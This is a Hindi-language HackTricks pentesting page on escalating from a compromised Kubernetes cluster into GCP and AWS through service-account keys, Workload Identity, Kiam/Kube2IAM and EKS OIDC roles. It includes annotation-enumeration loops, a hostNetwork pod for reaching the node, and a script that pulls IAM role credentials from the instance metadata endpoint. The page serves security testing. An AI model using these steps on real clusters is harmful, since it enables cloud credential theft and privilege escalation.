Kubernetes Pivoting to Clouds

Support HackTricks

GCP

यदि आप GCP के अंदर एक k8s क्लस्टर चला रहे हैं, तो आप शायद चाहेंगे कि क्लस्टर के अंदर चलने वाला कुछ एप्लिकेशन GCP तक कुछ पहुंच प्राप्त करे। ऐसा करने के 2 सामान्य तरीके हैं:

GCP-SA कुंजी को गुप्त के रूप में माउंट करना

GCP तक एक kubernetes एप्लिकेशन को पहुंच देने का एक सामान्य तरीका है:

  • एक GCP सेवा खाता बनाएं

  • उस पर इच्छित अनुमतियों को बाइंड करें

  • बनाए गए SA की एक json कुंजी डाउनलोड करें

  • इसे पॉड के अंदर एक गुप्त के रूप में माउंट करें

  • GOOGLE_APPLICATION_CREDENTIALS पर्यावरण चर को उस पथ की ओर इंगित करें जहां json है।

इसलिए, एक हमलावर के रूप में, यदि आप एक पॉड के अंदर एक कंटेनर से समझौता करते हैं, तो आपको उस env चर और json फाइलों की जांच करनी चाहिए जिनमें GCP क्रेडेंशियल्स हैं।

GSA json को KSA गुप्त से संबंधित करना

GKE क्लस्टर को GSA तक पहुंच देने का एक तरीका इस प्रकार बाइंड करना है:

  • अपने GKE क्लस्टर के समान नामस्थान में एक Kubernetes सेवा खाता बनाएं, निम्नलिखित कमांड का उपयोग करके:

Copy codekubectl create serviceaccount <service-account-name>
  • एक Kubernetes Secret बनाएं जिसमें GCP सेवा खाते के क्रेडेंशियल्स हों, जिसे आप GKE क्लस्टर तक पहुंच प्रदान करना चाहते हैं। आप इसे gcloud कमांड-लाइन टूल का उपयोग करके कर सकते हैं, जैसा कि निम्नलिखित उदाहरण में दिखाया गया है:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • निम्नलिखित कमांड का उपयोग करके Kubernetes Secret को Kubernetes सेवा खाते से बाइंड करें:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

दूसरे चरण में GSA के क्रेडेंशियल्स को KSA के रहस्य के रूप में सेट किया गया। फिर, यदि आप GKE क्लस्टर के अंदर से उस रहस्य को पढ़ सकते हैं, तो आप उस GCP सेवा खाते तक उन्नति कर सकते हैं।

GKE वर्कलोड पहचान

वर्कलोड पहचान के साथ, हम एक Kubernetes सेवा खाता को Google सेवा खाता के रूप में कार्य करने के लिए कॉन्फ़िगर कर सकते हैं। Kubernetes सेवा खाते के साथ चलने वाले पॉड Google क्लाउड APIs तक पहुँचते समय स्वचालित रूप से Google सेवा खाते के रूप में प्रमाणित होंगे।

इस व्यवहार को सक्षम करने के लिए पहले चरणों की श्रृंखला में GCP में वर्कलोड पहचान को सक्षम करना (चरण) और वह GCP SA बनाना शामिल है जिसे आप k8s के रूप में कार्य करना चाहते हैं।

  • नए क्लस्टर पर वर्कलोड पहचान सक्षम करें

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • नया नोडपूल बनाएं/अपडेट करें (ऑटोपायलट क्लस्टर को इसकी आवश्यकता नहीं है)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • K8s से GCP अनुमतियों के साथ GCP सेवा खाता बनाएं जिसे अनुकरण करना है:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • क्लस्टर से जुड़ें और उपयोग के लिए सेवा खाता बनाएँ

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • GSA को KSA के साथ बाइंड करें

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • एक पॉड चलाएँ जिसमें KSA हो और GSA तक पहुँच की जाँच करें:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

निम्नलिखित कमांड को जांचें ताकि आवश्यकता होने पर प्रमाणीकरण किया जा सके:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

एक हमलावर के रूप में K8s के अंदर आपको SAs के लिए iam.gke.io/gcp-service-account एनोटेशन की खोज करनी चाहिए क्योंकि यह संकेत करता है कि SA GCP में कुछ तक पहुँच सकता है। एक और विकल्प होगा कि क्लस्टर में प्रत्येक KSA का दुरुपयोग करने की कोशिश करें और जांचें कि क्या इसके पास पहुँच है। GCP से हमेशा बाइंडिंग को सूचीबद्ध करना और जानना दिलचस्प होता है कि आप Kubernetes के अंदर SAs को कौन सा एक्सेस दे रहे हैं

यह एक स्क्रिप्ट है जो आसानी से सभी पॉड्स परिभाषाओं को खोजने के लिए आवृत्ति करती है कि एनोटेशन:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (Pods के लिए IAM भूमिका)

Pods को IAM भूमिकाएँ देने का एक (पुराना) तरीका है Kiam या Kube2IAM सर्वर का उपयोग करना। मूल रूप से, आपको अपने क्लस्टर में एक daemonset चलाने की आवश्यकता होगी जिसमें एक प्रिविलेज्ड IAM भूमिका हो। यह daemonset उन pods को IAM भूमिकाओं तक पहुँच प्रदान करेगा जिन्हें इसकी आवश्यकता है।

सबसे पहले, आपको यह कॉन्फ़िगर करने की आवश्यकता है कि कौन सी भूमिकाएँ नामस्थान के अंदर पहुँच योग्य हैं, और आप यह नामस्थान ऑब्जेक्ट के अंदर एक एनोटेशन के साथ करते हैं:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

एक बार जब नामस्थान IAM भूमिकाओं के साथ कॉन्फ़िगर हो जाता है, तो Pods में आप प्रत्येक पॉड परिभाषा में आप जो भूमिका चाहते हैं उसे इंगित कर सकते हैं:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

एक हमलावर के रूप में, यदि आप इन एनोटेशन को पॉड्स या नेमस्पेस में या एक kiam/kube2iam सर्वर चलाते हुए (संभवतः kube-system में) पाते हैं, तो आप हर उस रोल का प्रतिनिधित्व कर सकते हैं जो पहले से पॉड्स द्वारा उपयोग किया जा रहा है और अधिक (यदि आपके पास AWS खाते तक पहुंच है, तो भूमिकाओं की सूची बनाएं)।

IAM भूमिका के साथ पॉड बनाएं

IAM भूमिका को इंगित करना चाहिए कि वह उसी AWS खाते में हो जैसे कि kiam/kube2iam भूमिका और वह भूमिका इसे एक्सेस करने में सक्षम होनी चाहिए।

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

यह AWS द्वारा अनुशंसित तरीका है।

  1. फिर आप एक IAM भूमिका बनाते हैं जिसमें SA को आवश्यक अनुमतियाँ होती हैं।

  2. एक विश्वास संबंध बनाएं IAM भूमिका और SA नाम (या उन namespaces को जो भूमिका को namespace के सभी SAs तक पहुँच प्रदान करते हैं)। विश्वास संबंध मुख्य रूप से OIDC प्रदाता का नाम, namespace का नाम और SA का नाम जांचेगा

  3. अंत में, एक SA बनाएं जिसमें भूमिका के ARN को इंगित करने वाला एक एनोटेशन हो, और उस SA के साथ चलने वाले पॉड्स को भूमिका के टोकन तक पहुँच होगी। टोकन एक फ़ाइल के अंदर लिखा जाता है और पथ AWS_WEB_IDENTITY_TOKEN_FILE में निर्दिष्ट किया जाता है (डिफ़ॉल्ट: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

To get aws using the token from /var/run/secrets/eks.amazonaws.com/serviceaccount/token run:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

एक हमलावर के रूप में, यदि आप एक K8s क्लस्टर को सूचीबद्ध कर सकते हैं, तो AWS में उन्नति के लिए उस एनोटेशन के साथ सेवा खातों की जांच करें। ऐसा करने के लिए, बस एक IAM विशिष्ट सेवा खाते का उपयोग करके pod को exec/create करें और टोकन चुराएं।

इसके अलावा, यदि आप एक pod के अंदर हैं, तो AWS_ROLE_ARN और AWS_WEB_IDENTITY_TOKEN जैसे env वेरिएबल्स की जांच करें।

कभी-कभी एक भूमिका की Turst Policy खराब तरीके से कॉन्फ़िगर की जा सकती है और अपेक्षित सेवा खाते को AssumeRole पहुंच देने के बजाय, यह सभी सेवा खातों को देती है। इसलिए, यदि आप एक नियंत्रित सेवा खाते पर एक एनोटेशन लिखने में सक्षम हैं, तो आप भूमिका तक पहुंच सकते हैं।

अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करें:

AWS - Federation Abuse

क्लस्टर में IAM भूमिकाओं के साथ Pods और SAs खोजें

यह एक स्क्रिप्ट है जो आसानी से सभी pods और sas परिभाषाओं को देखने के लिए दोहराने के लिए है कि एनोटेशन:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role

पिछला अनुभाग IAM Roles को pods के साथ चुराने के बारे में था, लेकिन ध्यान दें कि K8s क्लस्टर का एक Node क्लाउड के अंदर एक इंस्टेंस होगा। इसका मतलब है कि Node के पास एक नया IAM भूमिका हो सकता है जिसे आप चुरा सकते हैं (ध्यान दें कि आमतौर पर K8s क्लस्टर के सभी नोड्स के पास एक ही IAM भूमिका होगी, इसलिए प्रत्येक नोड पर जांचने की कोशिश करना शायद इसके लायक नहीं है)।

हालांकि, नोड से मेटाडेटा एंडपॉइंट तक पहुंचने के लिए एक महत्वपूर्ण आवश्यकता है, आपको नोड में होना चाहिए (ssh सत्र?) या कम से कम उसी नेटवर्क में होना चाहिए:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

IAM भूमिका टोकन चुराना

पहले हमने चर्चा की है कि पॉड्स के लिए IAM भूमिकाएँ कैसे संलग्न करें या यहां तक कि नोड पर भागकर IAM भूमिका चुराने के लिए जो इंस्टेंस के साथ संलग्न है।

आप अपने नए मेहनत से कमाए गए IAM भूमिका क्रेडेंशियल्स को चुराने के लिए निम्नलिखित स्क्रिप्ट का उपयोग कर सकते हैं:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

संदर्भ

HackTricks का समर्थन करें

Last updated